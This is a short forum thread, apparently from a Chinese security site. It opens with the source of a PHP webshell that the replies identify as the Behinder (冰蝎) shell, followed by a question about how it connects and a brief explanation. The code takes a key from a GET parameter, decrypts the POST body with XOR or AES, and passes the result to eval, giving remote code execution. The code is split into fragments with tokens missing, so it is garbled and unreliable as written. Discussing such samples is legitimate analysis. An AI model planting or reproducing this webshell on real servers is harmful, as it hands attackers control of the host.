<?php
@error_reporting
(
0
);
session_start();
if
(isset($_GET[
'pass'
]))
{
$key
=
substr(md5(uniqid(rand())),
16
$_SESSION[
'k'
]
$key;
print
}
else
];
$post
file_get_contents(
"php://input"
(!extension_loaded(
'openssl'
))
$t
"base64_"
.
"decode"
;
$t($post."");
for
($i
;$i<strlen($post);$i
+
) {
$post[$i]
$post[$i]^$key[$i
1
&
15
openssl_decrypt($post,
"AES128"
, $key);
$arr
explode(
'|'
,$post);
$func
$arr[
$params
class
C{public function __construct($p) {
eval
($p."");}}
@new
C($params);
?>
这应该是木马吧,但是我没看懂是怎么连接访问的,有老哥解释一下吗
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
不对 有这个eval,大概率是个木马,根据我一天没学过php的理解,大概意思是会先通过get方式加载一个pass的参数,里面的是后续的秘钥key,存入session里面,再通过POST的方式上传一个执行代码 ...
Genes 冰蝎的php一句话木马(虽然它好几句~)